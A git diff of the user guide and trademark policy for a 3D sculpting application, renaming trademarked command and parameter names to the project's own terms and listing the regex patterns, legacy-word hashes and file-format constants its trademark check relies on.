| `mirror_and_weld` | `axis` x, y, z or several, e.g. `xz` (default x); `side` positive (default) or negative |
| `mirror` | `axis` (default x); `pivot` origin (default) or center |
diff --git a/docs/guide/interface.md b/docs/guide/interface.md
index 8d367331..15e6d25c 100644
--- a/docs/guide/interface.md
+++ b/docs/guide/interface.md
@@ -83,7 +83,7 @@ Classic layout again right after. The look and layout are remembered for the nex
shows once: **Try it** switches to Forge Terminal with the Neutral colours and the SculptForge layout; **Keep my layout**
changes nothing. Either way, Edit > Preferences > Interface > Look changes it later.
-In scripts: `ui_look look=forge scheme=neutral outlines=subtle layout=sculptforge` (or `look=classic layout=zbrush`).
+In scripts: `ui_look look=forge scheme=neutral outlines=subtle layout=sculptforge` (or `look=classic layout=classic`).
## Turning AI off
diff --git a/docs/guide/masking.md b/docs/guide/masking.md
index ac1e021d..0431a797 100644
--- a/docs/guide/masking.md
+++ b/docs/guide/masking.md
@@ -119,10 +119,10 @@ Open **Tool > Masking** (the Tool palette is in the right tray by default). Ever
| **passes** | How many times Blur, Sharpen, Grow and Shrink run (1 to 20 here, default 1). | `iterations=` |
| **By cavity** | Mask concave areas (creases, folds, pores), replacing the current mask. | `mask_by_cavity` |
| **threshold** | How concave a spot must be for **By cavity** (-0.2 to 0.5, default 0.02). 0 masks anything concave; higher values keep only deep creases. | `threshold=` |
-| **By face group** | Mask one face group, replacing the current mask. The number field next to it is the face group id. | `mask_by_polygroup` |
+| **By face group** | Mask one face group, replacing the current mask. The number field next to it is the face group id. | `mask_by_facegroup` |
| **By border** | Mask the open edges of the mesh (edges with only one face) and the rings of edges inside them, replacing the current mask, so sculpting keeps the border in place. Uses **Mask Strength**. A closed mesh has no open edges, and the status bar says so. | `mask_border` |
| **Rings** | How wide **By border** masks, in rings of edges from the border (1 to 20, default 2; 1 masks the border vertices only). | `rings=` |
-| **Face Group borders** | **By border** also masks where face groups meet. | `polygroups=true` |
+| **Face Group borders** | **By border** also masks where face groups meet. | `facegroups=true` |
| **Soft** | **By border** fades the mask from the border towards the innermost ring. | `soft=true` |
Mask operations only change visible parts of the model; hidden parts keep their mask. **Clear** is the
@@ -191,8 +191,8 @@ you can mask an area and fill the rest with a colour. See [Vertex Paint and mate
| `mask_clear`, `mask_all`, `mask_invert` | |
| `mask_blur`, `mask_sharpen`, `mask_grow`, `mask_shrink` | `iterations` (1-100, default 1) |
| `mask_by_cavity` | `strength` (0-1, default 1), `threshold` (-1 to 1, default 0.02) |
-| `mask_by_polygroup` | `group` (required), `add=true` to add to the current mask instead of replacing it |
-| `mask_border` | `rings` (1-20, default 1), `polygroups=true` to also mask face group borders, `soft=true` to fade inwards, `strength` (0-1, default 1), `add=true` to add to the current mask |
+| `mask_by_facegroup` | `group` (required), `add=true` to add to the current mask instead of replacing it |
+| `mask_border` | `rings` (1-20, default 1), `facegroups=true` to also mask face group borders, `soft=true` to fade inwards, `strength` (0-1, default 1), `add=true` to add to the current mask |
| `mask_rect` | `x0 y0 x1 y1` (-1 to 1, y up), `unmask`, `strength` (0-1, default 1), optional `view_proj` matrix; without a view the rectangle spans the mesh seen from the front |
| `mask_lasso` | `points` (required): the outline as `"x0 y0 x1 y1 ..."`, at least 3 points in the same -1 to 1 space; `unmask`, `strength`, `view_proj` as for `mask_rect` |
diff --git a/docs/guide/packs-and-macros.md b/docs/guide/packs-and-macros.md
index a3cfabcf..e145f12d 100644
--- a/docs/guide/packs-and-macros.md
+++ b/docs/guide/packs-and-macros.md
@@ -60,7 +60,7 @@ is written.
Tick **Member pack (insider channel)** for the monthly pack or an Insider drop. It only changes the label shown in the
review and the pack list; anyone can install the file.
-To build a pack from a folder in a script, lay the folder out like a pack (`brushes/`, `alphas/`, `matcaps/`,
+To build a pack from a folder in a script, lay the folder out like a pack (`brushes/`, `alphas/`, `litspheres/`,
`materials/`, `vdms/`, `keymaps/`, `piemenus/`, `macros/`, plus `LICENSE.txt` and `preview.png`) and run:
```
diff --git a/docs/guide/parts.md b/docs/guide/parts.md
index a8909f57..e44f255b 100644
--- a/docs/guide/parts.md
+++ b/docs/guide/parts.md
@@ -60,8 +60,8 @@ Click **Append** and choose:
To insert your own mesh, choose **Active Part's copy...** and pick another Part (it stays as it is), or
**From file...** and pick an `.obj`, `.ply` or `.glb` file; then drag as with the shapes. The mesh is centred,
scaled so its largest side matches the drag, and stood on the surface along its own up (+Y) axis. Esc stops
- inserting. (Command: `insert_mesh subtool=<name>` or `insert_mesh file=<path>`.)
-- **From file...**: a model (`.obj`, `.fbx`, `.glb`, `.gltf`, `.ply`, `.stl`, `.GoZ`, `.usda`, `.usd`, `.usdz`) or
+ inserting. (Command: `insert_mesh part=<name>` or `insert_mesh file=<path>`.)
+- **From file...**: a model (`.obj`, `.fbx`, `.glb`, `.gltf`, `.ply`, `.stl`, Bridge files, `.usda`, `.usd`, `.usdz`) or
a project (`.sfproj`). A file with several objects adds one Part per object.
The new Part becomes the active one.
@@ -176,17 +176,17 @@ used.
| Command | What it does |
|---|---|
-| `subtool_list` | List the Parts |
-| `subtool_select index=1` | Make a Part active |
-| `subtool_append type=cube` | Add a primitive (`sphere`, `cube`, `plane`); `path=` adds a file; `size=` (0.05-2, default 0.35) |
-| `subtool_duplicate` | Copy a Part |
-| `subtool_delete name=Helmet` | Delete a Part |
-| `subtool_rename to=Body` | Rename a Part |
-| `subtool_visibility visible=false` | Show or hide (toggles when `visible` is left out) |
-| `subtool_solo` / `subtool_show_all` | Solo the active Part / show every Part |
-| `subtool_move direction=up` | Move a Part up or down the list |
-| `subtool_merge_down` / `subtool_merge_visible` | Merge |
-| `subtool_split_groups` / `subtool_split_parts` | Split |
+| `part_list` | List the Parts |
+| `part_select index=1` | Make a Part active |
+| `part_append type=cube` | Add a primitive (`sphere`, `cube`, `plane`); `path=` adds a file; `size=` (0.05-2, default 0.35) |
+| `part_duplicate` | Copy a Part |
+| `part_delete name=Helmet` | Delete a Part |
+| `part_rename to=Body` | Rename a Part |
+| `part_visibility visible=false` | Show or hide (toggles when `visible` is left out) |
+| `part_solo` / `part_show_all` | Solo the active Part / show every Part |
+| `part_move direction=up` | Move a Part up or down the list |
+| `part_merge_down` / `part_merge_visible` | Merge |
+| `part_split_groups` / `part_split_parts` | Split |
| `extract thickness=0.02 smooth=5 double=false` | Preview an Extract shell from the mask; `tcorne` / `tborder` for a triangle rim; `accept=true` keeps it at once |
| `extract_accept` / `extract_cancel` | Keep or remove the Extract preview |
diff --git a/docs/guide/projects.md b/docs/guide/projects.md
index 48d77cb4..8d5aa76f 100644
--- a/docs/guide/projects.md
+++ b/docs/guide/projects.md
@@ -135,7 +135,7 @@ on first use with these sub-folders:
| `Tools` | Tool | Models to open or append as Parts |
| `Brushes` | Brush | `.sfbrush` files |
| `Alphas` | Alpha | Grayscale images for brush alphas |
-| `MatCaps` | Material | Lit Sphere images, loaded as materials at start-up |
+| `LitSpheres` | Material | Lit Sphere images, loaded as materials at start-up |
| `Images` | Image | Sketches and concept art for Generate 3D |
| `Splats` | Splats | Gaussian splat captures |
| `QuickSave` | Snapshots | Snapshots |
diff --git a/docs/guide/retopology.md b/docs/guide/retopology.md
index ee7b7320..bfb836c1 100644
--- a/docs/guide/retopology.md
+++ b/docs/guide/retopology.md
@@ -219,10 +219,10 @@ straight along the normal, it takes the closest point within **Dist**.
| Command | Options |
|---|---|
-| `qremesh` | `method` (`v2`, the default, or `legacy`), `quality` (report poles, corner angles and the distance to the sculpt, default true), `target` (16 to 2,000,000, default 5000), `adaptive` (0-1, default 0.5), `keep_groups`, `detect_edges` (default true), `use_polypaint`, `symmetry` (`x`, `y` or `z`; off by default in scripts; the mirror plane is found from the model), `symmetry_center` (use this plane instead, e.g. `0` for the world's centre), `keep_original`, `smooth` (relaxation passes, default 6), `seed` (legacy method only; Quad Remesh 2 has no random start), `keep_texture` (default true), `guides` (follow the Part's Quad Remesh Guides, default true), `curves_strength` (0-100, default 50) |
+| `qremesh` | `method` (`v2`, the default, or `legacy`), `quality` (report poles, corner angles and the distance to the sculpt, default true), `target` (16 to 2,000,000, default 5000), `adaptive` (0-1, default 0.5), `keep_groups`, `detect_edges` (default true), `use_vertexpaint`, `symmetry` (`x`, `y` or `z`; off by default in scripts; the mirror plane is found from the model), `symmetry_center` (use this plane instead, e.g. `0` for the world's centre), `keep_original`, `smooth` (relaxation passes, default 6), `seed` (legacy method only; Quad Remesh 2 has no random start), `keep_texture` (default true), `guides` (follow the Part's Quad Remesh Guides, default true), `curves_strength` (0-100, default 50) |
| `qremesh_guide` | `points` (the curve, `"x,y,z x,y,z ..."`), `view` (project the points onto the surface along this direction, as a stroke from the camera; default: each point to the closest surface point), `symmetry` (`x`, `xz`...; mirror the curve) |
| `qremesh_guide_delete_last`, `qremesh_guides_clear`, `qremesh_guides_info` | Delete the last curve, delete all, list them |
-| `project_all` | `distance` (0.001-1, default 0.02), `mean`, `blur` (0-20), `geometry` (default true), `polypaint` (default true), `source` (one Part's name instead of all visible ones) |
+| `project_all` | `distance` (0.001-1, default 0.02), `mean`, `blur` (0-20), `geometry` (default true), `vertexpaint` (default true), `source` (one Part's name instead of all visible ones) |
```sh
sculptforge-cli -c 'open path=scan.glb; qremesh target=8000 adaptive=0.3 keep_original=true; subdivide levels=2; part_visibility index=1 visible=true; project_all distance=0.02; export_fbx path=retopo.fbx'
diff --git a/docs/guide/scripting.md b/docs/guide/scripting.md
index 31e1fd99..8d94d33d 100644
--- a/docs/guide/scripting.md
+++ b/docs/guide/scripting.md
@@ -88,8 +88,8 @@ the ones you will use most:
| Geometry | `subdivide` | `levels` (1 to 4, default 1) |
| Geometry | `remesh` | `resolution` (32 to 512, default 200) |
| Geometry | `decimate` | `ratio` (default 0.5) or `triangles` |
-| Geometry | `qremesh` | `target` (default 5000), `adaptive`, `keep_groups`, `detect_edges`, `use_polypaint`, `symmetry`, `keep_original` |
-| Parts | `project_all` | `distance` (default 0.02), `mean`, `blur`, `geometry`, `polypaint`, `source` |
+| Geometry | `qremesh` | `target` (default 5000), `adaptive`, `keep_groups`, `detect_edges`, `use_vertexpaint`, `symmetry`, `keep_original` |
+| Parts | `project_all` | `distance` (default 0.02), `mean`, `blur`, `geometry`, `vertexpaint`, `source` |
| Geometry | `mesh_info` | |
| Sculpting | `stroke` | `points` (required), `brush`, `radius`, `strength`, `invert`, `symmetry`, `radial`, `radial_axis`, `local` |
| Brushes | `brush_set_alpha` | `name` (round, square, noise) or `path`, `invert` |
@@ -100,12 +100,12 @@ the ones you will use most:
| Layers | `layer_set_weight` | `index`, `weight` (both required) |
| Masking | `mask_by_cavity` | `strength`, `threshold` |
| Masking | `mask_invert`, `mask_clear`, `mask_blur`, `mask_grow` | `iterations` where it applies |
-| Face Groups | `polygroup_auto_by_normals` | `angle` (default 30) |
-| Visibility | `isolate_polygroup`, `hide_polygroup` | `group` (required) |
+| Face Groups | `facegroup_auto_by_normals` | `angle` (default 30) |
+| Visibility | `isolate_facegroup`, `hide_facegroup` | `group` (required) |
| Visibility | `show_all`, `delete_hidden` | |
| Transform | `transform` | `translate`, `rotate`, `scale`, `pivot`, `orient`, `masked`, `falloff`, `symmetry`, `all` ([Gizmo](gizmo.md#scripting)) |
-| Parts | `subtool_append` | `type` (sphere, cube, plane) or `path`, `name`, `size` |
-| Parts | `subtool_select` | `index` or `name` |
+| Parts | `part_append` | `type` (sphere, cube, plane) or `path`, `name`, `size` |
+| Parts | `part_select` | `index` or `name` |
| Vertex Paint | `set_color`, `paint_fill` | `color`, `area` (unmasked, masked, all) |
| Vertex Paint | `paint_from_cavity` | `color`, `strength`, `smoothing` |
| AI | `image_to_3d` | `path` (required), `service`, `model`, `remesh`, `resolution` |
@@ -187,7 +187,7 @@ The desktop app takes a few options too, for renders and start-up scripts:
| `--size WxH` | Render size (default 1024x1024) |
| `--view YAW,PITCH` | Camera angles in degrees (default -30,-15) |
| `--zoom F` | Move the camera F times closer than the framed view |
-| `--wireframe`, `--polygroups` | Render with the wireframe or face group colours |
+| `--wireframe`, `--facegroups` | Render with the wireframe or face group colours |
| `--hide-mesh` | Render only the Gaussian splats |
| `--fullscreen` | Start filling the screen (<kbd>F11</kbd> toggles) |
| `--demo NAME`, `--record out.mp4` | Play a scripted demo, and record it to a video (needs ffmpeg) |
@@ -234,9 +234,9 @@ print([c["name"] for c in sf.commands()]) # every command with its pa
| `sf.commands()` | Lists every command with its parameters |
| `sf.tool_schema()` | The commands as LLM tool definitions (JSON) |
| `doc.vertices`, `doc.base_vertices`, `doc.normals`, `doc.triangles` | Mesh arrays of the active Part (copies) |
-| `doc.mask`, `doc.colors`, `doc.polygroups`, `doc.hidden` | Attribute arrays you can read and assign (`None` if absent) |
+| `doc.mask`, `doc.colors`, `doc.facegroups`, `doc.hidden` | Attribute arrays you can read and assign (`None` if absent) |
| `doc.layers`, `doc.layer_delta(i)` | Sculpt layers as `(name, weight)` and their per-vertex offsets |
-| `doc.subtools`, `doc.active_subtool` | The Parts list and the active Part |
+| `doc.parts`, `doc.active_part` | The Parts list and the active Part |
| `doc.splat_count` | Number of loaded Gaussian splats |
Failures raise `sculptforge.CommandError`. Long operations release the GIL, so you can run them on worker
diff --git a/docs/guide/selection-sets.md b/docs/guide/selection-sets.md
index 4ca5567b..14012c43 100644
--- a/docs/guide/selection-sets.md
+++ b/docs/guide/selection-sets.md
@@ -15,7 +15,7 @@ Open **Tool > Selection Sets**.
| Channel | What it keeps | Command name |
|---|---|---|
| **Mask** | The mask, soft edges included. | `mask` |
- | **Groups** | The face groups. | `polygroups` |
+ | **Groups** | The face groups. | `facegroups` |
| **Visibility** | Which faces are shown and which are hidden. | `visibility` |
| **Vertex Paint** | The vertex colours. | `paint` |
| **UVs** | The UV layout (only when the Part has UVs). | `uvs` |
@@ -117,7 +117,7 @@ Every button is a command, so scripts, `sculptforge-cli`, the MCP server and the
| Command | What it does |
|---|---|
-| `selection_set_store name=Head channels=mask,visibility` | Store (or replace) a set. `channels` takes `mask`, `polygroups`, `paint`, `visibility`, `uvs`, `morph` or `all`. |
+| `selection_set_store name=Head channels=mask,visibility` | Store (or replace) a set. `channels` takes `mask`, `facegroups`, `paint`, `visibility`, `uvs`, `morph` or `all`. |
| `selection_set_restore name=Head mode=union` | Restore; `channels=` restores some of them (add `morph` to restore the shape). |
| `selection_set_rename name=Head to=Face` | Rename. |
| `selection_set_delete name=Head` | Delete. |
diff --git a/docs/guide/texture-painting.md b/docs/guide/texture-painting.md
index d429419f..5050223a 100644
--- a/docs/guide/texture-painting.md
+++ b/docs/guide/texture-painting.md
@@ -133,15 +133,15 @@ texture after giving it UVs.
| Command | What it does |
|---|---|
| `uv_auto` | Unwrap the active Part (xatlas); `resolution=4096` packs the islands for that texture size. A painted texture moves onto the new UVs (`keep_texture=false` leaves it as it was) |
-| `texture_create size=2048` | Give the Part a texture (1024, 2048, 4096, 8192 or `1k`...`8k`) and paint into it; `from_polypaint=true` starts from the vertex paint |
+| `texture_create size=2048` | Give the Part a texture (1024, 2048, 4096, 8192 or `1k`...`8k`) and paint into it; `from_vertexpaint=true` starts from the vertex paint |
| `paint_target target=texture` | Where painting goes: `vertex` or `texture` |
-| `texture_from_polypaint` | Bake the vertex paint into the active texture layer |
-| `polypaint_from_texture` | Copy the texture into the vertex paint |
+| `texture_from_vertexpaint` | Bake the vertex paint into the active texture layer |
+| `vertexpaint_from_texture` | Copy the texture into the vertex paint |
| `texture_export path=skin.png` | Save the texture as a PNG |
| `texture_import path=skin.png` | Load an image as the texture |
| `texture_delete` | Remove the texture |
-`remesh`, `qremesh`, `subtool_merge_down` and `subtool_merge_visible` keep a texture unless you add
+`remesh`, `qremesh`, `part_merge_down` and `part_merge_visible` keep a texture unless you add
`keep_texture=false`.
`paint_fill`, `paint_from_cavity`, `paint_clear` and every `paint_layer_*` command work on the texture while
diff --git a/docs/guide/troubleshooting.md b/docs/guide/troubleshooting.md
index 11b1c192..e24348a1 100644
--- a/docs/guide/troubleshooting.md
+++ b/docs/guide/troubleshooting.md
@@ -252,9 +252,8 @@ work?". **Restore** opens it as unsaved work (save it under a name); **Discard**
## Frequently asked questions
**Can SculptForge open another sculpting app's own project files?**
-Not directly: those formats are proprietary and undocumented. Export OBJ or FBX from that app, use the
-[Bridge](exporting.md#exchange-models-through-the-bridge), or convert a whole library once with the free Bridge
-export plug-in (see the [Bridge setup page](https://github.com/islandmed/SculptForge/blob/main/integrations/bridge-plugin/README.md)).
+Not directly: those formats are proprietary and undocumented. Export OBJ or FBX from that app, or use the
+[Bridge](exporting.md#exchange-models-through-the-bridge).
**Does it have subdivision levels, voxel remesh, quad remesh or UVs?**
Yes: **Voxel Remesh**, **Quad Remesh** (with **Project All** to bring the detail back; see
diff --git a/docs/guide/uv-editor.md b/docs/guide/uv-editor.md
index 880c5e8d..0d7348de 100644
--- a/docs/guide/uv-editor.md
+++ b/docs/guide/uv-editor.md
@@ -160,10 +160,10 @@ commands work on the whole Part.
| Command | What it does |
| --- | --- |
-| `uv_unwrap` | Unwrap: `method=isometric` (Least Stretch), `conformal`, `polygroups` (By Face Groups), `planar`, `unfold` or `auto`; `iterations=`, `selected=`, `tiles=`, `margin=`, `rotate=`, `density=`, `pack=false` (fit in place), `keep_texture=` |
+| `uv_unwrap` | Unwrap: `method=isometric` (Least Stretch), `conformal`, `facegroups` (By Face Groups), `planar`, `unfold` or `auto`; `iterations=`, `selected=`, `tiles=`, `margin=`, `rotate=`, `density=`, `pack=false` (fit in place), `keep_texture=` |
| `uv_pack` | Pack: `margin=` (texels), `tiles=` (UDIM tiles), `first_tile=`, `rotate=`, `equal_density=`, `density=` (texels per unit, as many tiles as needed), `resolution=`, `keep_texture=` |
-| `uv_seam` | Seams: `op=mark` / `clear` (the selection), `path from= to=` (shortest edge path between two vertices; `clear=true`), `polygroups`, `islands`, `angle angle=60`, `clear_all` |
-| `uv_select` | `op=all`, `none`, `invert`, `island face=`, `face face=`, `polygroup group=`, `rect u0= v0= u1= v1=`, `seams`, `mode`; `mode=vertex/edge/face/island`, `add=true` |
+| `uv_seam` | Seams: `op=mark` / `clear` (the selection), `path from= to=` (shortest edge path between two vertices; `clear=true`), `facegroups`, `islands`, `angle angle=60`, `clear_all` |
+| `uv_select` | `op=all`, `none`, `invert`, `island face=`, `face face=`, `facegroup group=`, `rect u0= v0= u1= v1=`, `seams`, `mode`; `mode=vertex/edge/face/island`, `add=true` |
| `uv_transform` | `move_u=`, `move_v=`, `rotate=` (degrees), `scale=`, `scale_u=`, `scale_v=` about the selection's centre |
| `uv_edit` | `op=pin`, `unpin`, `clear_pins`, `weld`, `split`, `straighten`, `flip_u`, `flip_v` |
| `uv_density` | `op=set value=`, `op=match` (`match=mean` or `first`), `op=info`; `resolution=` |
diff --git a/docs/guide/vertex-paint.md b/docs/guide/vertex-paint.md
index 8e04db85..d8506551 100644
--- a/docs/guide/vertex-paint.md
+++ b/docs/guide/vertex-paint.md
@@ -196,7 +196,7 @@ with the sphere filling it (a non-square image is cropped to its centre; big one
folder set in **Edit > Preferences > Library**), so it is there next time.
- Or put images into that **Lit Spheres** folder yourself: they show up the next time you open the material picker,
**Render > Materials** or the Library's Material tab, no restart needed. Studios can share a read-only folder by
- listing it in the `SCULPTFORGE_MATCAP_PATH` environment variable (separated by `:`, `;` on Windows); those load
+ listing it in the `SCULPTFORGE_LITSPHERE_PATH` environment variable (separated by `:`, `;` on Windows); those load
when SculptForge starts.
- To remove one, right-click it in the material picker or palette and choose **Remove**. An image from your
Lit Spheres folder goes to the trash (the Recycle Bin on Windows), so you can still get it back. On macOS it is
@@ -248,11 +248,11 @@ classic key changes meaning; assign one under **Edit > Preferences > Hotkeys** i
| `paint_layer_merge` / `paint_layer_flatten` | Merge down / bake every visible layer into Base |
| `paint_layer_list` | List the layers, top first (`*` marks the active one) |
| `set_material name=Chrome` | Viewport material: a Lit Sphere name (`Soft Clay` is the default, your own Lit Spheres included) or `studio` (desktop app only) |
-| `load_matcap path=gold.png` | Load a Lit Sphere image and use it; `keep=false` doesn't copy it into the Lit Spheres folder (desktop app only) |
-| `remove_matcap name=Gold` | Remove one of your Lit Spheres; its image in the Lit Spheres folder goes to the trash (desktop app only) |
+| `load_litsphere path=gold.png` | Load a Lit Sphere image and use it; `keep=false` doesn't copy it into the Lit Spheres folder (desktop app only) |
+| `remove_litsphere name=Gold` | Remove one of your Lit Spheres; its image in the Lit Spheres folder goes to the trash (desktop app only) |
| `set_background mode=flat color=60,70,80` | The view's background: `gradient` (the default) or `flat` with a colour (`#rrggbb`, `r,g,b` or a name); see [The background](interface.md#the-background) (desktop app only) |
| `set_shading mode=flat` | The scene's shading: `smooth` (the default) or `flat` (desktop app only) |
-| `subtool_shading mode=smooth name=Eyes` | A Part's own shading: `default` (follow the scene), `smooth` or `flat`; `index` or `name` picks the Part (default: the active one) |
+| `part_shading mode=smooth name=Eyes` | A Part's own shading: `default` (follow the scene), `smooth` or `flat`; `index` or `name` picks the Part (default: the active one) |
```text
set_color color="#d9b38c"; paint_fill; paint_from_cavity strength=0.5
diff --git a/docs/guide/whats-new.md b/docs/guide/whats-new.md
index f8ad3afe..0c089c49 100644
--- a/docs/guide/whats-new.md
+++ b/docs/guide/whats-new.md
@@ -846,9 +846,8 @@ texture, so the next stroke paints texels. Big brushes on 4K textures paint four
### Bring a library over
-Another app's library files are proprietary, but a free export plug-in now converts them once, and then
-SculptForge opens the library file itself, every Part with its face groups, vertex paint, mask and UVs. See
-the [Bridge setup page](https://github.com/islandmed/SculptForge/blob/main/integrations/bridge-plugin/README.md).
+A folder of numbered Bridge files opens as one scene, every Part with its face groups, vertex paint, mask and
+UVs.
## Version 0.8
diff --git a/docs/legal/trademarks.md b/docs/legal/trademarks.md
index 7b108a8b..33aa17f1 100644
--- a/docs/legal/trademarks.md
+++ b/docs/legal/trademarks.md
@@ -1,41 +1,124 @@
# Trademarks: how SculptForge names things
-SculptForge uses its own names for its own features, and never another company's marks in its own copy.
-`tools/check_marks.py` (ctest `marks`) enforces this on every file in the repository.
+SculptForge uses its own names for its own features and never another company's marks, anywhere in this
+repository: code, comments, identifiers, file names, tests, docs, history and tools. **This file is the only place
+the marks are written out**, so that the check below has a list and old files can still be read.
+`tools/check_marks.py` enforces it on every tracked file and path (ctest `marks`, and the CI job "Trademarks" that
+every pull request and push to main must pass).
## The rules
-1. **No third-party sculpting-app marks in anything we publish:** the app (menus, tooltips, commands, dialogs,
- brush, alpha and material names), the user guide, the website (including titles, meta and social tags and
- preview images), README, CHANGELOG and release notes, store listings (AUR, Homebrew, winget, Flatpak, Omarchy),
- and Discord, YouTube and outreach templates. That includes the product names themselves and their feature
- names. The patterns are in `tools/check_marks.py`.
+1. **No third-party sculpting-app marks** in anything in this repository: the app (menus, tooltips, commands,
+ dialogs, brush, alpha and material names), code identifiers and comments, file names, tests, the user guide,
+ the website (titles, meta and social tags, preview images), README, CHANGELOG and release notes, store listings,
+ design docs, tools, workflows, issue templates and outreach. That includes the product names and their feature
+ names (the patterns below).
2. **Describe by function.** Our names: Forge Spheres, Lit Sphere, Part, Face group, Library, Vertex Paint, Bridge,
- Classic sculpting keys, Classic layout, voxel remesh, Quad Remesh, dynamic topology, Sharp Crease, Clay Block,
- Tendril, Plane Trim. A feature someone knows from another app is found in the command palette by what it does.
+ Classic sculpting keys, Classic layout, voxel remesh, QRemesh, dynamic topology, Sharp Crease, Clay Block,
+ Tendril, Plane Trim, Raise / Lower. A feature someone knows from another app is found in the command palette by
+ what it does.
3. **No comparison copy.** Never "clone", "replacement", "alternative to ...", or price and feature tables against
- other products. Video titles by others may be quoted as titles.
+ other products.
4. **Never copy** another app's icons, art, documentation text, assets, brush names or SDK code; never decompile
- it; no reader for its proprietary files; never train or test AI on its output.
-5. **Code too.** Identifiers and comments use our names. The only exceptions, each kept in one place:
- - `src/io/BridgeProtocol.h`: the folder, file and executable names the exchange protocol needs byte for byte.
- - `src/core/LegacyNames.h`: names older SculptForge versions wrote (projects, brush files, configs), read only
- and mapped to today's names, never shown or written.
- - `integrations/bridge-plugin/`: the export plug-in runs inside the other application and its setup page has to
- name its folders and menus, with the notice below.
+ it; no reader for its proprietary files and no plug-in that runs inside it; never train or test AI on its output.
+5. **Exceptions: none in the tree.** Two things still need the old bytes, and neither spells them:
+ - The Bridge file format and its shared folder (`src/io/BridgeProtocol.h`,
+ `addons/blender/sculptforge_bridge/bridge_protocol.py`): byte escapes under neutral names, listed below.
+ - Files older SculptForge versions wrote (projects, configs, keymaps, radial menus, packs, scripts and macros)
+ are read through `src/core/LegacyNames.h`: a hash per old word, listed below, mapped to today's word on load
+ and never written. Not carried over: the environment variable for studio Lit Sphere folders (now
+ `SCULPTFORGE_LITSPHERE_PATH`) and the old command-line flag for face-group colours (now `--facegroups`).
6. **History stays.** Git history and tags are not rewritten. Old release pages and assets are removed after a
release replaces them (`tools/release/scrub_old_releases.sh`).
-## Adding to the allowlist
+## The patterns
-Don't. `tools/marks_allow.txt` lists the three places above. `tools/marks_pending.txt` lists files still waiting
-for the code rename and only shrinks; a line marked `// marks-pending` is a script-facing value name that gets
-renamed with a read alias.
+`tools/check_marks.py` reads this block (case-insensitive regular expressions, one per line). Add a mark here; never
+add an exception elsewhere.
-## The notice
+<!-- marks:begin -->
+ z ?brush
+ pixologic
+ maxon
+ \bgoz(?!o)
+ gozbrush
+ dyna ?mesh
+ z ?remesher
+ sculptris
+ subtools?|\bsub tools?\b
+ poly ?paint
+ z ?modeler
+ lightbox|\blight box\b
+ z ?spheres?
+ matcaps?|\bmat caps?\b
+ fiber ?mesh
+ lightcap|\blight cap\b
+ \bpixols?\b
+ z ?script
+ z ?plug(?:in)?s?\b
+ \bspotlight\b
+ shadow ?box
+ nano ?mesh
+ array ?mesh
+ live ?boolean
+ \bz ?(?:add|sub)\b
+ insert ?multi ?mesh
+ \bimm\b
+ poly ?groups?(?!s)
+ projection ?master
+ hd ?geometry
+ decimation ?master
+ uv ?master
+ clip ?curve
+ trim ?curve
+ poly ?group ?it
+ panel ?loops
+ dam_? ?standard
+ clay ?buildup
+ \bh ?polish\b
+ trim ?dynamic
+ move ?topological
+ \bztools?\b
+ \.ztl\b
+ mudbox
+ \bnomad\b
+ sculptgl
+ 3d-?coat
+<!-- marks:end -->
+
+## Old words read on load (src/core/LegacyNames.h)
+
+FNV-1a 64 of the lower-case word. `tests/test_legacy_names.cpp` checks `LegacyNames.h` against this table.
-The one sentence that names the other application, used on the Bridge setup page and nowhere else:
+| Id | Old word | Today | Hash |
+|---|---|---|---|
+| W1 | `zbrush` | `classic` | `0x77AF1E52C70C5CDB` |
+| W2 | `subtool` | `part` | `0x50329458AC585F77` |
+| W3 | `zsphere` | `forgesphere` | `0x7A3173B83AFDBBD0` |
+| W4 | `polygroup` | `facegroup` | `0xEFC9B9E5E56A64CE` |
+| W5 | `polypaint` | `vertexpaint` | `0x06C84E19C9C3D005` |
+| W6 | `matcap` | `litsphere` | `0xEB424D5C1B5FCC43` |
+| W7 | `lightbox` | `library` | `0xFB0FEB36194770D0` |
+| W8 | `damstandard` | `sharpcrease` | `0xBCFC81F111856264` |
+| W9 | `claybuildup` | `clayblock` | `0xC1D54DDDFE279385` |
+| W10 | `zadd` | `raise` | `0x4265616148F33BEC` |
+| W11 | `zsub` | `lower` | `0xDE377B61A12DA42D` |
+| W12 | `goz` | `bridge` | `0xD4F75918FABCC503` |
-ZBrush is a trademark of Maxon. SculptForge is not affiliated with or endorsed by Maxon.
+## The Bridge format's bytes (src/io/BridgeProtocol.h)
+
+| Constant | Spells |
+|---|---|
+| `kExt`, `kExtLower`, `SF_BRIDGE_MESH_EXTS` | `.GoZ`, `.goz` |
+| `kHeader`, `kMagic` | `GoZb 1.0 ZBrush GoZ Binary`, `GoZb` |
+| `kNamePrefix` | `GoZMesh_` |
+| `kVendorFolder`, `kMacRoot` | `Pixologic`, `/Users/Shared/Pixologic` |
+| `kInboxFolder`, `kProjectsFolder`, `kAppsFolder` | `GoZZBrush`, `GoZProjects`, `GoZApps` |
+| `kObjectList`, `kApplicationFile`, `kProjectPathFile`, `kInfoFile`, `kConfigFile` | `GoZ_ObjectList.txt`, `GoZ_Application.txt`, `GoZ_ProjectPath.txt`, `GoZ_Info.txt`, `GoZ_Config.txt` |
+| `kNotifierWin`, `kNotifierMac` | `GoZZBrushFromApp.exe`, `.app` |
+| `kWinInstallDirs`, `kWinExe`, `kMacApp`, `kAppNameLower` | `C:\Program Files\Pixologic`, `C:\Program Files\Maxon`, `ZBrush.exe`, `ZBrush.app`, `zbrush` |
+
+## The notice
-Elsewhere, where a page needs a notice at all: "Product names are trademarks of their respective owners."
+ZBrush is a trademark of Maxon. SculptForge is not affiliated with or endorsed by Maxon. Where a page needs a notice
+at all, it says: "Product names are trademarks of their respective owners."
diff --git a/docs/pack-format.md b/docs/pack-format.md
index 4ff1eeec..d6d23fc8 100644
--- a/docs/pack-format.md
+++ b/docs/pack-format.md
@@ -19,7 +19,7 @@ LICENSE.txt the license text (optional; LICENSE or LICENSE.md
preview.png a preview image (optional; or preview.jpg; must be named in pack.json)
brushes/<name>.sfbrush brush recipes (core/BrushLibrary.h)
alphas/<name>.png|.jpg|.jpeg brush alphas
-matcaps/<name>.png|.jpg|.jpeg Lit Sphere images
+litspheres/<name>.png|.jpg|.jpeg Lit Sphere images
materials/<name>.sfmaterial Material Recipes (core/MaterialRecipe.h)
vdms/<name>.sfvdm vector displacement maps (core/Vdm.h)
keymaps/<name>.json keymaps (below)
@@ -66,7 +66,7 @@ in its type's folder, with its type's extension. Anything else is refused.
| `minAppVersion` | no | The oldest SculptForge that may install it; newer than the running app: refused. |
| `preview` | no | `preview.png` or `preview.jpg`, which must be in the archive. |
